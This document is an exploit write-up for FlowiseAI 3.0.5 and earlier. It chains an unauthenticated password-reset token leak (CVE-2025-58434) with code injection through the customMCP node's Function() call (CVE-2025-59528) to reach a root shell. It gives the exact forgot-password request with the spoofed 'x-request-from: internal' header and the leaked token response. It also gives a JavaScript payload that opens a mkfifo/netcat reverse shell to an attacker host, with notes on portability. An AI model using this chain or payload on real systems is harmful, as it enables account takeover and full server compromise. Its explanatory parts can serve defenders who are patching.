Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Unauthenticated Account Takeover chained with Remote Code Execution against FlowiseAI
<= 3.0.5.
Full container compromise in under 5 seconds, zero credentials required.
Left: FlowiseAI login page — Right: root shell via CVE-2025-59528 · uid=0(root)
This exploit chains two independent critical vulnerabilities into a single fully automated attack. Neither vulnerability alone guarantees full compromise — but together, they form a complete kill chain from zero credentials to a root shell inside a Docker container.
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
What makes it zero-interaction: at no point does the victim receive an email, see a login alert, or trigger any visible event. The attack is entirely server-side.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI has a concept of "internal" requests — API calls made between its own services — identified by the x-request-from: internal HTTP header. The /api/v1/account/forgot-password endpoint uses this header to skip authentication entirely and return a different, more verbose response than it would for external callers.
The problem: this header is not validated or restricted in any way. Any attacker on the internet can send it. When they do, instead of triggering a password reset email, the API responds with the full user record — including a live tempToken that can be immediately used to set a new password.
Normally, a password reset flow looks like:
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed
Here, the server skips the email step entirely and puts the token directly in the HTTP response body. The attacker catches it and moves straight to the reset step — no email access needed.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — full user record exposed{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
The tempToken is then submitted directly to the reset endpoint — no email interaction, no CAPTCHA, no rate limit.

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI allows users to define custom MCP (Model Context Protocol) nodes with server configuration supplied as a JSON string. Internally, the platform needs to parse this configuration — and it does so using JavaScript's Function() constructor, which is functionally equivalent to eval().
The configuration string reaches the sink completely unsanitized:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() is as dangerous as eval()Function('return ' + code)() does the following:
code as its bodyThis gives the attacker a full JavaScript execution context with access to process, require, child_process, and the entire Node.js runtime — not a sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Why
mkfifoand not/dev/tcp?
The container runs/bin/sh, not/bin/bash./dev/tcpis a bash-only feature — it does not exist in standard POSIX shells.mkfifocreates a named pipe that works in any POSIX-compliant shell, making the reverse shell portable across container environments.